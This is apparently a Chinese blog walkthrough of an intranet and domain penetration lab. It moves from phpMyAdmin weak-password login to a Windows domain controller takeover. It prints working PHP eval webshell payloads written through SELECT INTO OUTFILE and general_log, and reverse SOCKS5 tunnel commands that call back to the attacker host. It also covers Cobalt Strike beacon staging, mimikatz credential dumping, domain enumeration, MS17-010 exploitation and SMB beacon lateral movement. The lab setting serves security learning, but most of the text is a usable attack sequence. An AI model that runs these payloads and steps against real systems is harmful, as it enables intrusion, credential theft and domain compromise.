运维 · 2023年9月22日 0

内网渗透 域渗透

前言

环境搭建:

设置Win2K3 仅主机模式,ip:192.168.52.141

winserver08 仅主机模式,ip:192.168.52.138 (域控)

win7添加一个网卡,ip:192.168.23.141;192.168.52.143(双网卡,作为跳板机),一个设为仅主机模式,另一个设为NAT模式;

kali攻击机设为NAT模式,ip:192.168.23.131

拓扑图:

信息收集

1.使用nmap对win7进行端口嗅探,发现win7开放了80和3306端口

2.访问http://192.168.23.141,为一个php的探针,能看到绝对路径

3.对http://192.168.23.141进行目录扫描,发现存在phpadmin的登录界面

4.使用root/root弱口令成功进入后台

PhpMyAdmin get shell

1.利用select into outfile 写入shell

先查看能否自定义导出文件目录的权限,结果为NULL意味着不允许导入导出数据到目录。且只能在my.ini进行配置。

命令:SHOW VARIABLES LIKE “secure_file_priv”;

如果能将my.inisecure_file_prive并将其值设置为””或”/”,并重启MySQL服务

命令:

 select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';

进行一句话写shell

2.利用日志写shell

查看全局变量 general_log、general_log_file

命令:SHOW VARIABLES LIKE “general_log%”;

general_log 默认关闭,,general_log_file为日志储存路径。

写shell的思路:更改general_log的值,将日志储存在能访问的路径下,且后缀名为php。然后通过log日志进行写入一句话木马,然后再进一步利用。

命令:

 set global general_log = "ON";
 
 set global general_log_file = "C:/phpStudy/WWW/shell.php";

然后在日志中插入一句话:

 SELECT '<?php eval($_POST["pass"]);?>'

使用蚁剑连接:http://192.168.23.141/shell.php,成功连接

内网信息收集

1.使用蚁剑进行信息收集时,许多命令无回显,尝试上传cs马,回连beacon。

2.上线cs马,进行信息收集

3.信息收集 net view /domain,目标机存在一个GOD的域,域控ip为192.168.52.138

信息收集中,需要用到的命令 (cs中执行命令,需要带上“shell”)

 ipconfig /all
 
 net view
 
 net view /domain
 
 net time /domain

能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

 net config workstation 查询当前的登录域与用户信息  net lookup “域名” nslookup 命令直接解析域名服务器  net user /domain 查看当前域的所有用户  wmic useraccount get /all 获取域内用户的详细信息  net group "domain computers" /domain 查看所有域成员计算机列表  net group "domain admins" /domain 查看所有域控管理人员  net group "domain controllers" /domain 查看与控制管理器  net group "enterprise admins" /domain 查看企业管理组  net localgroup administrators /domain 查看域控,升级为域控时,本地账户也成为域管  net accounts /domain 获取域密码信息  nltest /domain_trusts 获取域信任列表

4.使用mimikatz模块进行密码导出

横向移动

此时,我们已知道域控的ip为192.168.52.138(通过dns中的ip地址,或者通过ping域服务器可得到域控ip地址),那么以win7为跳板机,进行横向攻击。

反弹socks5服务器

1.在kali上运行:

 ./ew_linux_x64 -s rcsocks -l 1080 -e 1234

该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口。

2.在win7 (web服务器中)运行

 execute ew_for_win64 -s rssocks -d 192.168.23.131 -e 1234

该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.23.131(kali)的1234端口上。

(1)先将ew文件上传到目标机win7中,然后执行命令

(2)执行execute ew_for_Win.exe -s rssocks -d 192.168.23.131 -e 1234

(3)配置proxychains.conf(kali上需要安装 sudo apt-get install proxychains)

现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了

/etc/proxychains.conf修改内容如下,去掉dynamic_chain和dns(实验中,有时proxychains启动nmap会报错)的注释,并且在最后的位置添加代理。

(4)测试代理是否正常

发现正常

渗透内网主机

proxychains启动nmap

用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网:

发现仅存活192.168.52.138和192.168.52.141两台内网主机,从前面的域信息收集可知138主机为域控主机

proxychains启动nmap

尝试对其进行端口扫描,发现其开放了3389和445端口,尝试对其进行永恒之蓝攻击

proxychains启动msf

1)启动msfconsole

随后正常使用ms17_010等利用方式进行利用

设置正向监听和rhost(大概率会打重启,本人中途打重启多次,可尝试使用exploit/windows/smb/ms17_010_psexec模块)

注:该模块要求目标机器开启命名管道,可使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。)

成功打入ms17_010

接下来,load mimikatz模块,即可进行域账号的横向;或者上线到cs(传shell)

补充:如果永恒之蓝等exp利用方式无法进行,可以使用获取到win7明文账号进行横向ipc上线

SMB Beacon的使用场景:

  1. 我们知道了目标机器的管理员账号的明文密码或密码哈希。但是目标主机不出网,所以我们想利用SMB Beacon正向连接让其上线。

  2. 还有一种使用场景是,在域环境中,我们已经得到一个域用户的账号密码(此环境中,我们获得win7权限为域管理员权限,可横向ipc到域控服务器)。由于在域中,默认域用户可以登录除域控外的所有主机。所以我们可以利用该域用户与其他主机建立IPC连接,然后让其他主机进行SMB Beacon上线。

(1)首先创立一个Beacon_SMB监听器

(2)利用其明文密码使其上线Beacon_SMB

先建立一个ipc连接

然后使用jump进行上线Beacon_SMB  

此时查看连接的会话,发现成功获取了域控(192.168.52.138)的shell

到这就结束分享。

接下来就是使用ipc继续上线Beacon_SMB,依次提权等。。。。。

如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器

关注我,学习网络安全不迷路